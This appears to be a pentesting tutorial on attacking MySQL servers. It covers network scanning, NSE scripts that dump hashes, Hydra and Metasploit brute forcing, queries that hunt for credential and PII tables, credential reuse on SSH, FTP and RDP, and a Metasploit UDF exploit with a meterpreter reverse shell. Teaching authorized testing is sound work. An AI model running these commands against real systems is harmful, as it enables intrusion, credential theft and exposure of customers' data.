Pentesting MySQL
MySQL is an open-source relational database management system. It's commonly found exposed to internal networks and sometimes externally, and it's a juicy target for attackers due to its potential to yield credentials, sensitive data, or even remote command execution via User Defined Functions (UDFs).
Discovery and Enumeration
The first step is simply finding where MySQL is running. It’s often hidden behind internal networks, exposed through shadow IT, or accidentally left open on public interfaces. Here’s how you can uncover those systems by scanning the internal network for open port 3306:
Discovery with Nmap
sudo nmap -p 3306 --open -T4 -Pn -n 10.1.1.0/24 #Scan a network range for open port 3306If you’re scanning large address spaces and need speed, use the masscan tool:
sudo masscan -p3306 10.0.0.0/8 --rate 10000 -e tun0 #Scan a large subnet for open port 3306Once discovered, you can feed results into Nmap:
masscan -p3306 10.0.0.0/8 --rate 10000 -oG mysql_hosts.txt #Runs masscan against a large subnetawk '/3306\/open/ {print $2}' mysql_hosts.txt > targets.txt #Extracts targets with open port 3306 and writes to a filenmap -sV -p3306 -iL targets.txt #Runs Nmap against the list of targets with open port 3306You can also perform a full-featured Nmap scan against MySQL.
sudo nmap -sV -Pn -vv 10.1.1.1 -p 3306 \ --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,\mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122This scan probes for:
- Weak/default passwords
- Dumpable password hashes
- Enumerated databases, users, and queries
- Known vulnerabilities (e.g., CVE-2012-2122)
Check for Anonymous or Empty Passwords
sudo nmap -p3306 --script=mysql-empty-password.nse --script-args=unsafe=1 -v 10.1.1.1You can also manually run individual scripts to narrow focus during post-discovery validation. These NSE scripts are usually found in:
/usr/share/nmap/scripts/mysql-audit.nse/usr/share/nmap/scripts/mysql-brute.nse/usr/share/nmap/scripts/mysql-databases.nse/usr/share/nmap/scripts/mysql-dump-hashes.nse/usr/share/nmap/scripts/mysql-empty-password.nse/usr/share/nmap/scripts/mysql-enum.nse/usr/share/nmap/scripts/mysql-info.nse/usr/share/nmap/scripts/mysql-query.nse/usr/share/nmap/scripts/mysql-users.nse/usr/share/nmap/scripts/mysql-variables.nse/usr/share/nmap/scripts/mysql-vuln-cve2012-2122.nse
Brute Forcing Credentials
You can use a tool like Hydra for MySQL login brute-forcing:
hydra -L users.txt -P passwords.txt mysql://10.1.1.1 -s 3306 #Brute force MySQL for a target IP using a list of usernames and passwordsOr use Metasploit:
use auxiliary/scanner/mysql/mysql_loginset RHOSTS 10.1.1.1set USER_FILE users.txtset PASS_FILE passwords.txtrun
Useful Queries and Interaction
Once access to a MySQL server is gained (either via default credentials, password spraying, or exploiting misconfigurations), the real fun begins. Whether you’re looking to dump data, escalate privileges, or just poke around, here are some essential MySQL queries and techniques.
Connecting to MySQL from the Command Line
When targeting cloud services like Azure, make sure to use the correct username format (user@host) or you’ll get blocked right out of the gate.
mysql -u root -p #Prompts for passwordmysql -u root -h 10.1.1.1 #Connect to a specific IPmysql -u root@dba-prod3dcb20a -p -h 10.1.1.1 #Azure-specific syntaxEnumerating Users & Host Permissions
SELECT user, host FROM mysql.user;This not only gives usernames but also the specific hosts they’re allowed to connect from (e.g., ‘admin’@‘localhost’ or ‘pentester’@’%’). If you see %, that’s wildcard access which is a major misconfig.
SELECT user, host, plugin FROM mysql.user;This shows authentication plugins (e.g., mysql_native_password, auth_socket), which can reveal more about how the system is set up.
Enumerating Databases and Tables
SHOW DATABASES;USE <database_name>;SHOW TABLES;DESCRIBE <table_name>;Once you identify a target database (e.g., wordpress, customers, or dev_secrets), pivot into it and start mapping the schema.
SELECT table_schema, table_name, column_nameFROM information_schema.columnsWHERE column_name LIKE '%pass%' OR column_name LIKE '%user%';This is a goldmine for finding potential credential tables, logins, or tokens, especially in poorly named or custom apps.
Extracting Data from Tables
SELECT * FROM users;SELECT * FROM admin_credentials;SELECT * FROM wp_users;MySQL databases often contain:
- WordPress admin hashes
- Laravel API tokens
- Application secrets
- Customer PII
- Session data
Crack those hashes or reuse found credentials across other services like SSH, FTP, or RDP.
Exploit with User Defined Functions (UDF)
Under certain conditions (e.g., MySQL running as root and plugin_dir is writable), you can exploit UDFs to get code execution or a reverse shell. You can use a Metasploit module.
use exploit/windows/mysql/mysql_udf_payloadset RHOST 10.1.1.1set USERNAME rootset PASSWORD <pass>set PAYLOAD windows/meterpreter/reverse_tcprun



